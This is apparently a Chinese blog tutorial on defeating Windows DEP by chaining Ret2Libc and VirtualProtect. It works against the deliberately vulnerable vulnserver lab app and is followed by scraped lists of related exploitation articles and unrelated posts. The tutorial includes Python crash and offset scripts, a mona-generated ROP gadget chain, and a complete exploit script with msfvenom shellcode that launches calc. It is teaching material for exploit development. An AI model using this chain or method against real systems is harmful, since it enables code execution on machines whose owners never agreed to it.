利用Ret2Libc绕过DEP之VirtualProtect函数

⑴.  原理分析:

i.相关概念:

VirtualProtect()函数:

BOOL WINAPI VirtualProtect(

_In_ LPVOID lpAddress,    //目标地址的起始位置

_In_ SIZE_T dwSize,    //区域大小

_In_ DWORD flNewProtect,    //新的保护属性,设置为(0x40)市该内存页为可写可读可执行。

_Out_ PDWORD lpflOldProtect    //指向一个可写地址,用于保存原有保护属性

);

所以如果将VirtualProtect()函数的参数设置成如下格式:

BOOL WINAPI VirtualProtect(

_In_ LPVOID shellcode所在内存地址的起始地址,

_In_ SIZE_T shellcode大小

_In_ DWORD 0x40

_Out_ PDWORD 某个可写的地址

);

就可以实现关闭DEP保护机制,执行payload的目的。

实际上,进入函数VirtualProtect()之后函数首先进行了正常的堆栈调整,之后便连续压入了五个参数,然后调用了函数VirtualProtectEx(),因此我们推测函数VirtualProtectEx()才是真正改变内存属性的函数。该函数原型如下:

BOOL VirtualProtectEx(

HANDLE hProcess, // 要修改内存的进程句柄

LPVOID lpAddress, // 要修改内存的起始地址

DWORD dwSize, // 页区域大小

DWORD flNewProtect, // 新访问方式

PDWORD lpflOldProtect // 原访问方式 用于保存改变前的保护属性

);

VirtualProtect()函数中连续五个push指令其实是在向函数VitualProtectEx()传递参数;而根据函数参数从右到左的入栈顺序我们可以知道五个push指令依次压入的参数分别为lpflOldProtect、flNewProtect、dwSize、lpAddress以及hProcess,其中参数hProcess为默认值0xFFFFFFFF,代表当前线程的伪句柄。

⑵.环境准备:

i.实验代码:

存在漏洞的web服务器:

http://sites.google.com/site/lupingreycorner/vulnserver.zip

ii.实验环境:

靶机:windows 7

系统开启DEP保护机制。

攻击机:kali linux 1.0

调试器:Immunity Debugger

⑶.测试分析:

i.控制EIP

编写python脚本验证漏洞,控制EIP:

#!/usr/bin/python

import socket

server = '靶机IP'

sport = 9999

 

length = int(raw_input('Length of shellcode: '))

 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((server, sport))

print s.recv(1024)

print "Sending shellcode length ", length, ' to TRUN .'

shellcode = 'A' * length

s.send(('TRUN .' + shellcode + '\r\n'))

print s.recv(1024)

s.send('EXIT\r\n')

print s.recv(1024)

s.close()

执行脚本,

靶机效果:

漏洞服务器崩溃。

在Immunity Debugger中attach崩溃了的进程可以看到:

EIP被覆盖。

ii.确定偏移:

在Immunity Debugger使用脚本mona.py,执行命令:!mona pc 3000(3000个字节长度其实就可以让程序崩溃了)。

可以得到测试偏移的文件pattern.txt。

将ASCII码这一部分当做shellcode发送给服务器。

测试代码如下:

#!/usr/bin/python

import socket

server = '靶机IP'

sport = 9999

 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((server, sport))

print s.recv(1024)

print "Sending shellcode length ", length, ' to TRUN .'

shellcode = ’ Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9’

s.send(('TRUN .' + shellcode + '\r\n'))

print s.recv(1024)

s.send('EXIT\r\n')

print s.recv(1024)

s.close()

 

在靶机中的Immunity Debugger中查看测试结果,如下图:

可以看到EIP被覆盖为0x396f4338

在命令行输入!mona po 396f4338确定偏移,得到结果如下:

EIP位于2006字节处。

所以我们只要将关闭DEP的代码放置在shellcode的2006字节处就可以关闭DEP保护机制,之后再执行payload就可以啦。

⑷.攻击过程:

i.使用mona脚本生成rop链;

输入命令:!mona rop -m *.dll -cp nonull得到rop链

生成的rop建议文件位于rop_chain.txt。

ii.生成payload:

直接在kali命令行下执行

msfvenom -p windows/exec cmd=calc -b '\x00' -f c

生成216字节的payload

iii.构建shellcode

根据iii的分析,我们可以得到shellcode的结构如下:

填充物2006字节

通过VirtualProtect函数绕过DEP

Payload

构建攻击脚本:

#!/usr/bin/python

import socket

import struct

import sys

server = '192.168.0.108'

sport = 9999

eip = '\xaf\x11\x50\x62'

nopsled = "\x90"*16

payload = ""

payload += "\xdb\xdf\xbf\x9b\x78\x16\x5a\xd9\x74\x24\xf4\x58\x31\xc9\xb1"

payload += "\x30\x83\xe8\xfc\x31\x78\x14\x03\x78\x8f\x9a\xe3\xa6\x47\xd8"

payload += "\x0c\x57\x97\xbd\x85\xb2\xa6\xfd\xf2\xb7\x98\xcd\x71\x95\x14"

payload += "\xa5\xd4\x0e\xaf\xcb\xf0\x21\x18\x61\x27\x0f\x99\xda\x1b\x0e"

payload += "\x19\x21\x48\xf0\x20\xea\x9d\xf1\x65\x17\x6f\xa3\x3e\x53\xc2"

payload += "\x54\x4b\x29\xdf\xdf\x07\xbf\x67\x03\xdf\xbe\x46\x92\x54\x99"

payload += "\x48\x14\xb9\x91\xc0\x0e\xde\x9c\x9b\xa5\x14\x6a\x1a\x6c\x65"

payload += "\x93\xb1\x51\x4a\x66\xcb\x96\x6c\x99\xbe\xee\x8f\x24\xb9\x34"

payload += "\xf2\xf2\x4c\xaf\x54\x70\xf6\x0b\x65\x55\x61\xdf\x69\x12\xe5"

payload += "\x87\x6d\xa5\x2a\xbc\x89\x2e\xcd\x13\x18\x74\xea\xb7\x41\x2e"

payload += "\x93\xee\x2f\x81\xac\xf1\x90\x7e\x09\x79\x3c\x6a\x20\x20\x2a"

payload += "\x6d\xb6\x5e\x18\x6d\xc8\x60\x0c\x06\xf9\xeb\xc3\x51\x06\x3e"

payload += "\xa0\xae\x4c\x63\x80\x26\x09\xf1\x91\x2a\xaa\x2f\xd5\x52\x29"

payload += "\xda\xa5\xa0\x31\xaf\xa0\xed\xf5\x43\xd8\x7e\x90\x63\x4f\x7e"

payload += "\xb1\x07\x0e\xec\x59\xc8"

perfix = 'a'*2006

def create_rop_chain():

rop_gadgets = [

0x76b81cf2,  # POP EAX # RETN [msvcrt.dll]

0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]

0x7573e960,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [KERNELBASE.dll]

0x775091a9,  # XCHG EAX,ESI # ADD AL,0 # RETN 0x04 [ntdll.dll]

0x7756c2f9,  # POP EBP # RETN [ntdll.dll]

0x41414141,  # Filler (RETN offset compensation)

0x625011af,  # & jmp esp [essfunc.dll]

0x76b8a837,  # POP EAX # RETN [msvcrt.dll]

0xfffffdff,  # Value to negate, will become 0x00000201

0x7707c52a,  # NEG EAX # RETN [RPCRT4.dll]

0x76a6b699,  # XCHG EAX,EBX # RETN [GDI32.dll]

0x776ff07c,  # POP EAX # RETN [MSCTF.dll]

0xffffffc0,  # Value to negate, will become 0x00000040

0x77682fd0,  # NEG EAX # RETN [MSCTF.dll]

0x76b9ad98,  # XCHG EAX,EDX # RETN [msvcrt.dll]

0x75024f1f,  # POP ECX # RETN [mswsock.dll]

0x774f780d,  # &Writable location [LPK.dll]

0x76b80a21,  # POP EDI # RETN [msvcrt.dll]

0x770114a5,  # RETN (ROP NOP) [RPCRT4.dll]

0x770738b4,  # POP EAX # RETN [RPCRT4.dll]

0x90909090,  # nop

0x76ff5fcf,  # PUSHAD # RETN [RPCRT4.dll]

]

return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

shellcode = perfix+rop_chain+nopsled+payload

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((server, sport))

print s.recv(1024)

print "Sending shellcode to TRUN . with length ", len(shellcode)

s.send(('TRUN .' + shellcode + '\r\n'))

print s.recv(1024)

s.send('EXIT\r\n')

print s.recv(1024)

s.close()

其中rop链的部分可以直接由rop_chain文件中的建议函数得到。

iv.执行攻击:

成功弹框。

v.拓展之rop链的思路

该ROP链主要由7个pop/retn指令序列以及1个pushad/retn指令序列构成;这里我们需要先了解一下pushad指令的作用,该指令会依次将8个32位寄存器的值压入栈中,顺序为EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI;而前面的7个pop指令,则分别是在给各个寄存器赋值。7个pop/retn指令执行完后各个寄存器的值如下图所示:

此时程序开始执行pushad指令将八个寄存器的值压入栈中,pushad指令执行完后栈中情况如下图所示:

如上图所示,该ROP链可以正确的将VirtualProtectEx()所需要的参数布局在栈中,因此该函数执行完后我们shellcode所在的内存页的保护属性便可以被成功修改。接下来,我们要做的便是跳转到shellcode。通过前面的分析我们已经知道VirtualProtectEx()函数返回后esp的值被调整为ebp的值,之后的一个pop ebp指令使得esp+4指向了上图中pop ebp/retn指令执行后,程序返回到esp+8所指向的地址执行,而之前VirtualProtect()函数返回时执行了retn 10h,因此此时的esp=esp+18h。而这个地址存放的正是ROP链中的最后四个字节”push esp/retn”,push esp将当前的esp值压入栈中,retn后该值被赋给指令寄存器eip,程序得以继续向下执行也就是我们的payload。

最后,如果只开启编译器的/NXCompat选项,而操作系统端选择“仅为基本的Windows程序和服务启用DEP”,则mona生成的ROP链不可用,经调试发现该ROP链中VirtualProtect()函数定位有误,修改后即可。

内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数的更多相关文章

  1. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

    1.    DEP内存保护机制 1.1   DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...

  2. Linux下利用Ret2Libc绕过DEP

    Linux下利用Ret2Libc绕过DEP ⑴.  原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...

  3. 内存保护机制及绕过方法——利用未启用SafeSEH模块绕过SafeSEH

    利用加载模块之外的地址绕过safeSEH 前言:文章涉及的概念在之前的文章中都有过详细的讲解 ⑴.  原理分析: 当程序加载进内存中后,处理PE文件(exe,dll),还有一些映射文件,safeSEH ...

  4. 20155306 白皎 0day漏洞——漏洞利用原理之DEP

    20155306 白皎 0day漏洞--漏洞利用原理之DEP 一.DEP机制的保护原理 1.为什么出现DEP? 溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计 ...

  5. 内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH

    前言:之前关于safeSEH保护机制的原理等信息,可在之前的博文(内存保护机制及绕过方案中查看). 利用未启用SafeSEH模块绕过SafeSEH ⑴.  原理分析: 一个不是仅包含中间语言(1L)且 ...

  6. 内存保护机制及绕过方案——从堆中绕过safeSEH

    1.1    SafeSEH内存保护机制 1.1.1    Windows异常处理机制 Windows中主要两种异常处理机制,Windows异常处理(VEH.SEH)和C++异常处理.Windows异 ...

  7. 内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

    1    GS内存保护机制 1.1    GS工作原理 栈中的守护天使--GS,亦称作Stack Canary / Cookie,从VS2003起开始启用(也就说,GS机制是由编译器决定的,跟操作系统 ...

  8. UAC 实现原理及绕过方法-打洞专用

    首页 新随笔 订阅 管理 随笔 - 7  文章 - 0  评论 - 0 UAC 实现原理及绕过方法   目录 0x01 UAC 实现方法(用户登陆过程)0x02 UAC 架构0x03 触发UAC0x0 ...

  9. UAC 实现原理及绕过方法

    目录 0x00 UAC 工作流程 0x01 UAC 实现方法(用户登陆过程) 0x02 UAC 架构 0x03 触发UAC 0x04 UAC 虚拟化 0x05 UAC 逆向分析 1x00 UAC By ...

随机推荐

  1. Android如何定制一个下拉刷新,上滑加载更多的容器

    前言 下拉刷新和上滑加载更多,是一种比较常用的列表数据交互方式. android提供了原生的下拉刷新容器 SwipeRefreshLayout,可惜样式不能定制. 于是打算自己实现一个专用的.但是下拉 ...

  2. javascript 理解对象--- 定义多个属性和读取属性的特性

    一 定义多个属性 ECMAScript5 定义了一个Object.defineProperties()方法,用于定义多个属性.此方法接受两个对象参数: 第一个对象:要添加或修改其属性的对象 第二个对象 ...

  3. shell 脚本中双引号 单引号 反引号 的区别

    转自:http://blog.csdn.net/iamlaosong/article/details/54728393 最近要编个shell脚本处理数据,需要检测数据文件是否存在,文件名中包含日期,所 ...

  4. jenkins windows执行批处理脚本总是失败

    使用jenkins 在使用编译vc++的一个项目,在执行批处理脚本的时候总是失败, 但是在控制台无论是管理员还是普通用户都能正常编译,jenkins每次都失败,看日志就是调用一个cmd命令直接失败,e ...

  5. php 与 c++ openssl 加密通信

    $key = '1234567890123456'; $iv = '1234567890123456'; $enc = openssl_encrypt("hello wolrd!" ...

  6. filebeat 乱码

    查看 文件的类型 [root@elk-node-1 rsyslog] # file 192.168.1.16.log 192.168.1.16.log: Non-ISO extended-ASCII ...

  7. bzoj1879: [Sdoi2009]Bill的挑战(codevs2308)(luoguP2167) 状压dp

    唔...懒兔子来写博客了... 点我看题 这题的话...我想了很久但是都不是可行解 刚开始想预处理任意两个串是否可以匹配然后在乱搞,后来发现完全不会写... 然后按照惯例,我会看题解认真的思考... ...

  8. NOIP2014 T4 子矩阵 dfs+dp

    最近在狂补题啊QAQ... 打算先把NOIP的干掉吧... 点我看题 链接还是放洛谷的了... 题意:给一个n*m的矩阵,在这个矩阵里选 r 行 c 列,然后这 r 行 c 列所相交的格子为新矩阵的, ...

  9. LeetCode——largest-rectangle-in-histogram1

    Question Given n non-negative integers representing the histogram's bar height where the width of ea ...

  10. 谈一谈URL

    作者:ManfredHu 链接:http://www.manfredhu.com/2017/08/16/22-url/index.html 声明:版权所有,转载请保留本段信息,谢谢大家 URL URL ...